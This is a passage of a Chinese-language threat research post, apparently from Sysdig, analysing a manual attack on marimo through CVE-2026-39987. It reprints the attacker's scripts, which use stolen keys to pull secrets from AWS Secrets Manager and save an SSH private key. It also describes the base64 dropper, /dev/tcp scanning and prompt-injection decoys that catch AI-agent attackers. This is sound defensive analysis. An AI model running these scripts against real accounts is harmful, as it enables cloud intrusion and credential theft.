机器速度,人手握AI:纯手工打造的marimo CVE-2026-39987漏洞利用
Falco Feeds 通过为关注开源的企业提供专家编写并持续更新的规则,扩展了 Falco 的能力,使它们能够应对新发现的威胁。

AI 确实降低了攻击者的入门门槛。但争论的焦点在于:熟练的威胁行动者能否跟上那些由 LLM 驱动的竞争对手?
最近,Sysdig 威胁研究团队(TRT)目睹了一名威胁行动者在八秒内,从一个开放的 WebSocket 终端迅速渗透至跳板机的实时 SSH 会话。整个过程中没有代理参与,也未发现任何 LLM 生成的脚本或工具痕迹。相反,操作员使用的是他们在前四个小时内手工编写并调试的 Python 工具包。
该攻击者利用了 marimo 中一个认证前远程代码执行(RCE)漏洞 CVE-2026-39987。他们端到端地执行了完整的凭据转移链:通过未认证的 WebSocket 终端获得初始访问权限,利用从被入侵实例中获取的凭据调用 AWS Secrets Manager,随后使用获取的私钥通过 SSH 访问跳板机。在这场长达九小时的会话中,他们执行了超过 850 条交互式命令,未使用任何可识别的公开进攻工具,且所有脚本均为现场手写。
八秒的速度通常出现在 AI 辅助攻击中。这位操作员仅凭个人技能便达到了这一水平,并且在过程中直接避开了我们针对同一 CVE 分析过的所有智能威胁行动者(ATA)都陷入的陷阱。这不仅表明熟练的人类攻击者能以机器般的速度行动,还说明他们往往能更有效地规避防御者的检测。
这是我们针对 CVE-2026-39987 分析的多位攻击者之一。本系列从披露后不到 10 小时即出现的在野利用开始,随后记录了 NKAbuse RAT 攻击活动。这位攻击者的独特之处在于“手艺”:其他人留下了明显的 LLM 痕迹,而他们的自动化脚本全是手写的,还成功避开了我们埋设的提示注入诱饵(依赖 agent 的攻击者无一例外都会中招),并在 8 秒内用先前会话预置的工具包完成了三个 RCE 后续步骤。
下面我们来复盘 Sysdig TRT 观察到的细节、一些检测规则和失陷指标,以及防守方该如何抢占先机。
时间线
均为 UTC 时间。
|
时间 |
事件 |
|---|---|
|
首次观测到终端活动前 28+ 小时 |
第一个窃取的 AWS 凭证通过 CloudTrail 中的 GetCallerIdentity 完成验证 |
|
第一个凭证被窃取后 33 分钟 |
第二个窃取的凭证(来自应用的 Redis 后端)完成验证 |
|
12:52:18 |
来自 172.236.12.17 的首个 WebSocket 连接至 /terminal/ws |
|
12:54:13 |
首个交互式命令:用 /dev/tcp 对主机所在的 RFC1918 /24 网段进行扫描 |
|
16:00–16:30 |
攻击者向 /tmp/ 目录投放一系列 base64 编码的 Python 脚本 |
|
16:50:40 |
boto3 脚本调用 AWS 的 secretsmanager:GetSecretValue |
|
16:51:45 |
用获取到的 SSH 密钥尝试登录一台可从公网访问的堡垒机 |
|
18:54:31 |
新的 WebSocket 会话建立 |
|
18:54:45 |
CloudTrail 中观测到 AWS Secrets Manager API 调用(WebSocket 建立后 14 秒) |
|
18:56:32–18:56:44 |
EC2 枚举被拒:DescribeInstances → UnauthorizedOperation; DescribeKeyPairs → AccessDenied; DescribeInstanceInformation → AccessDenied |
|
18:56:50 |
针对 i-0000000000000000 触发 ec2:SendSSHPublicKey 调用 — 实例 ID 为空(枚举未返回真实 ID);已拦截 |
|
18:57:22 18:57:30 |
新建 WebSocket 会话 随后 8 秒观察到 SSH 堡垒机认证(该会话 WebSocket 建立后) |
|
20:13–20:32 |
操作员在攻击者持有的 VPS 上部署了类似 asyncssh 的监听器配置 |
|
21:50:14 |
该操作员最终断开连接 |
第一条交互式命令(对主机 /24 网段进行 TCP 探测)与首次带凭证的 AWS API 调用之间相隔近四小时。这段时间很可能被用于构建和调试工具链。待工具包完善并可用后,后续重连在几秒内即可跑通全链路,因为脚本已存于磁盘,只需执行一条命令即可触发。
漏洞详情
Marimo 笔记本常部署在配备 GPU 的宿主机上,用于支撑 ML 流水线,涉及大规模数据集以及与 AWS、GCP 及各模型提供商的凭证连接。一旦 marimo 实例被攻破,攻击者便获得通往受害者云账户的入口。
CVE-2026-39987 是一个预认证远程代码执行(RCE)漏洞。GitHub 的安全公告列出了截至 marimo 0.20.4 的所有受影响的版本,修复方案已随 0.23.0 版本发布。/terminal/ws WebSocket 端点提供交互式 PTY Shell,但跳过了该应用中其他 WebSocket 端点所正确执行的认证校验。任何能够连接到该路径 WebSocket 的客户端都将获得一个以 marimo 进程用户身份运行的完整交互式 Shell,且无需任何凭证。利用该漏洞无需构造 Payload 或进行编码,只需向该路径建立 WebSocket 连接即可。0.23.0 版本的修复通过 PR #9098 在终端端点接入了缺失的 validate_auth() 调用。
观察到的行为
手工编写的 AWS 自动化
此前针对 marimo 的所有攻击都留下了 LLM 驱动操作者的明显痕迹。他们靠记忆逐行输入 AWS 请求签名代码,全程在单个 shell 会话中完成。而这次的操作者则不同,他在多个会话中编写并调试了一个 boto3 链式脚本,最终将其作为 base64 编码的 Python 文件放入 /tmp/ 目录。现有证据显示,威胁行为者在执行该过程中并未使用 AI。
在会话后期,攻击者在 17 分钟窗口期内迭代运行了 8 个独立脚本,且都遵循相同的模式:通过 base64 解码将脚本写入 /tmp/ 目录,具体命令为:echo '<base64-blob>' | base64 -d > /tmp/<name>.py。这种 base64 封装具有双重目的:既规避了内嵌多行 Python 代码时的 shell 引号问题,又能在 bash_history 中生成仅显示为一行记录的内容,防止安全人员在快速浏览文件时窥探到脚本的具体内容。
下方按部署顺序完整重现了该工具箱的内容。AWS 凭证值已做隐去处理;其余内容均逐字取自 WebSocket 命令流。
脚本 1:带区域回退机制的 Secrets Manager 初始获取
当发生异常时,该脚本会依次尝试 5 个 AWS 区域。凭证直接硬编码在源码中,而非从环境变量读取,这表明操作者在 shell 会话的早期阶段就已提取了这些凭证,并在当前迭代中直接复用。
import boto3, json
try:
client = boto3.client("secretsmanager",
aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
region_name="us-east-1")
resp = client.get_secret_value(SecretId="REDACTED")
val = resp.get("SecretString", "")
if not val:
val = resp.get("SecretBinary", b"").decode()
print("SECRET_START")
print(val)
print("SECRET_END")
except Exception as e:
print(f"AWS_ERR:{e}")
# Try other regions
for region in ["us-west-2", "eu-west-1", "ap-southeast-1", "us-east-2"]:
try:
c2 = boto3.client("secretsmanager",
aws_access_key_id="<AWS_KEY_HARVESTED_FROM_VICTIM>",
aws_secret_access_key="<AWS_SECRET_HARVESTED_FROM_VICTIM>",
region_name=region)
r2 = c2.get_secret_value(SecretId="REDACTED")
val = r2.get("SecretString", "")
if not val:
val = r2.get("SecretBinary", b"").decode()
print(f"FOUND_IN_{region}")
print("SECRET_START")
print(val)
print("SECRET_END")
break
except Exception as e2:
print(f"REGION_{region}:{e2}")
脚本 2:改进版的 Secrets Manager 密钥获取,支持密钥持久化和 JSON 解析
这是攻击者主要使用的脚本。它把获取到的密钥以 0600 权限写入 /tmp/bastion_key,将密钥值按 JSON 解析,以兼容 {key: ...} 结构和纯字符串响应,遇到访问被拒时则退而尝试 secretsmanager:ListSecrets。两个版本的脚本中 SecretId 的值也有所不同,说明攻击者在从失陷主机上获取更多信息后,对密钥名称做过调整。
import boto3, json, os, sys
# 使用环境变量(已预设)
# AWS_ACCESS_KEY_ID=
# AWS_SECRET_ACCESS_KEY=
# AWS_DEFAULT_REGION=us-east-1
client = boto3.client("secretsmanager")
try:
resp = client.get_secret_value(SecretId="REDACTED")
secret = resp.get("SecretString", "")
if not secret:
secret = resp.get("SecretBinary", b"").decode()
print("SECRET_RETRIEVED")
print(f"SECRET_LEN:{len(secret)}")
# 尝试解析为 JSON
try:
data = json.loads(secret)
for k, v in data.items():
if "key" in k.lower() or "private" in k.lower():
with open("/tmp/bastion_key", "w") as f:
f.write(v)
os.chmod("/tmp/bastion_key", 0o600)
print(f"KEY_FIELD:{k}")
print(f"KEY_HEAD:{v[:60]}")
print("KEY_SAVED:/tmp/bastion_key")
else:
print(f"FIELD:{k}={str(v)[:100]}")
except json.JSONDecodeError:
# 原始密钥数据
with open("/tmp/bastion_key", "w") as f:
f.write(secret)
os.chmod("/tmp/bastion_key", 0o600)
print(f"RAW_KEY_HEAD:{secret[:60]}")
print("KEY_SAVED:/tmp/bastion_key")
except Exception as e:
print(f"AWS_ERR:{e}")
# 尝试列出密钥
try:
secrets = client.list_secrets(MaxResults=20)
for s in secrets.get("SecretList", []):
print(f"SECRET_LIST:{s['Name']}")
except Exception as e2:
print(f"LIST_ERR:{e2}") 脚本 3:纯标准库反向 Shell
这是一个仅依赖标准库的 Python 反向 Shell,没有引入第三方库或进行编码处理,仅使用了 socket、os.dup2 和 subprocess。首个版本没有错误处理,第二个版本增加了 try/except